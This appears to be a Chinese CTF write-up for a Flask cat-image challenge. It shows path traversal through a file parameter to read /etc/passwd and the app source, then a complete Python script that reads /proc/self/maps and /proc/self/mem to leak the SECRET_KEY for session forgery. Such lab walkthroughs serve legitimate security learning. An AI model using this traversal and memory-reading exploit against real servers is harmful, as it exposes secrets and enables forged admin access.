打开环境,几个关于猫的图片列表,随便点进去一个看看观察url变化。

发现多了个file参数。尝试目录穿越,多试几次,可以看到/etc/passwd。

参考之前的文章,查看当前的进程/proc/self/cmdline,出现python app.py源码文件。继续尝试得到源码

格式化后如下:
python
import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat
# Flag初始化
flag = ""
# Flask应用初始化
app = Flask(
__name__,
static_url_path='/',
static_folder='static'
)
# 设置SECRET_KEY(每次启动随机生成)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
# 读取并删除flag文件
if os.path.isfile("/flag"):
flag = cat("/flag")
os.remove("/flag")
@app.route('/', methods=['GET'])
def index():
"""首页:列出details目录中的所有文件"""
detailtxt = os.listdir('./details/')
cats_list = []
for i in detailtxt:
# 提取文件名(去掉扩展名)
cats_list.append(i[:i.index('.')])
return render_template("index.html", cats_list=cats_list, cat=cat)
@app.route('/info', methods=["GET", 'POST'])
def info():
"""文件查看接口:存在路径遍历漏洞"""
# 漏洞点:未过滤用户输入的file参数
filename = "./details/" + request.args.get('file', "")
# 获取分页参数
start = request.args.get('start', "0")
end = request.args.get('end', "0")
file_param = request.args.get('file', "")
name = ""
if '.' in file_param:
name = file_param[:file_param.index('.')]
return render_template("detail.html", catname=name, info=cat(filename, start, end))
@app.route('/admin', methods=["GET"])
def admin_can_list_root():
"""管理员接口:验证session后返回flag"""
if session.get('admin') == 1:
# 直接返回flag
return flag
else:
# 设置admin为0
session['admin'] = 0
return "NoNoNo"
if __name__ == '__main__':
# 启动Flask应用
app.run(host='0.0.0.0', debug=False, port=5637)
代码比较好理解,就是说路由/admin需要带的session里面让admin=1就行。但是现在admin=0,需要session伪造。伪造的难点就在于我们必须要知道SECRET_KEY,这个题的SECRET_KEY是个随机数+一段固定字符*abcdefgh。
python
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
这就不好整了,折腾了好久,未果。。。
观察到代码/info路由里面有个start和end参数,还有个cat方法,读取一下

格式化之后如下:
python
# -*- coding: utf-8 -*-
"""
@Time : 2026/1/4 20:35
@Auth : kaikai
@File :cat.py
@IDE :PyCharm
"""
import os
import sys
import getopt
def cat(filename: str, start: int = 0, end: int = 0) -> bytes:
"""
读取文件的指定范围内容
Args:
filename: 文件名
start: 起始位置(字节)
end: 结束位置(字节,0表示到文件末尾)
Returns:
文件内容的字节数据或错误信息的字节数据
"""
data = b''
# 参数类型转换
try:
start = int(start)
end = int(end)
except (ValueError, TypeError):
start = 0
end = 0
# 验证文件可读性
if not filename or not os.access(filename, os.R_OK):
error_msg = f"File `{filename}` does not exist or cannot be read"
return error_msg.encode()
try:
with open(filename, "rb") as f:
if start >= 0:
f.seek(start)
if end > start and end != 0:
data = f.read(end - start)
else:
data = f.read()
else:
data = f.read()
except Exception as e:
error_msg = f"Error reading file `{filename}`: {str(e)}"
return error_msg.encode()
return data
def print_help():
"""打印帮助信息"""
print("[*] Help")
print("-f --file\tFile name")
print("-s --start\tStart position")
print("-e --end\tEnd position")
print()
print("[*] Examples of reading /etc/passwd:")
print("python3 cat.py -f /etc/passwd")
print("python3 cat.py --file /etc/passwd")
print("python3 cat.py -f /etc/passwd -s 1")
print("python3 cat.py -f /etc/passwd -e 5")
print("python3 cat.py -f /etc/passwd -s 1 -e 5")
def main():
"""主函数"""
try:
opts, args = getopt.getopt(
sys.argv[1:],
'-h-f:-s:-e:',
['help', 'file=', 'start=', 'end=']
)
except getopt.GetoptError as e:
print(f"Error: {e}")
print_help()
sys.exit(1)
filename = ""
start = 0
end = 0
for opt_name, opt_value in opts:
if opt_name in ('-h', '--help'):
print_help()
sys.exit(0)
elif opt_name in ('-f', '--file'):
filename = opt_value
elif opt_name in ('-s', '--start'):
start = opt_value
elif opt_name in ('-e', '--end'):
end = opt_value
if filename:
try:
result = cat(filename, start, end)
print(result.decode('utf-8', errors='replace'))
except Exception as e:
print(f"Error: {e}")
else:
print("No file specified")
print_help()
sys.exit(1)
if __name__ == '__main__':
main()
意思就是给我一个文件,再给一个start和一个end,就可以读取他们之间的内容。但是这跟SECRET_KEY有啥关系呢???
无奈之下,参考WP,发现果然没有一点儿信息是多余的,这俩参数能派上大用场。
扩展:python存储对象的位置在堆上。app是个Flask对象,而SECRET_KEY在app.config['SECRET_KEY'],读取/proc/self/mem得到进程的内存内容,进而获取到SECRET_KEY。不过读/proc/self/mem前要注意,/proc/self/mem内容较多而且存在不可读写部分,直接读取会导致程序崩溃,因此需要搭配/proc/self/maps获取堆栈分布,结合maps的映射信息来确定读的偏移值。可参考https://www.jianshu.com/p/3fba2e5b1e17。看一下这个/proc/self/maps

啥也看不懂。直接贴上大佬的解析代码:
python
# coding=utf-8
import requests
import re
# 由/proc/self/maps获取可读写的内存地址,再根据这些地址读取/proc/self/mem来获取secret key
url = "http://61.147.171.35:52615/"
s_key = ""
bypass = "../.."
# 请求file路由进行读取
map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")
map_list = map_list.text.split("\\n")
for i in map_list:
# 匹配指定格式的地址
map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
if map_addr:
start = int(map_addr.group(1), 16)
end = int(map_addr.group(2), 16)
print("Found rw addr:", start, "-", end)
# 设置起始和结束位置并读取/proc/self/mem
res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}")
# 用到了之前特定的SECRET_KEY格式。如果发现*abcdefgh存在其中,说明成功泄露secretkey
if "*abcdefgh" in res.text:
# 正则匹配,本题secret key格式为32个小写字母或数字,再加上*abcdefgh
secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)
if secret_key:
print("Secret Key:", secret_key[0])
s_key = secret_key[0]
break
就是根据格式找固定的区间,然后再根据起始位置读取/proc/self/mem,再正则匹配后面的一串固定字符,成功拿到SECRET_KEY。

有可key,就可以进行伪造了,具体可参考前面的文章
https://blog.csdn.net/weixin_35720396/article/details/155484564?spm=1011.2415.3001.5331
好奇这个题,真的有人不看WP可以做出来吗?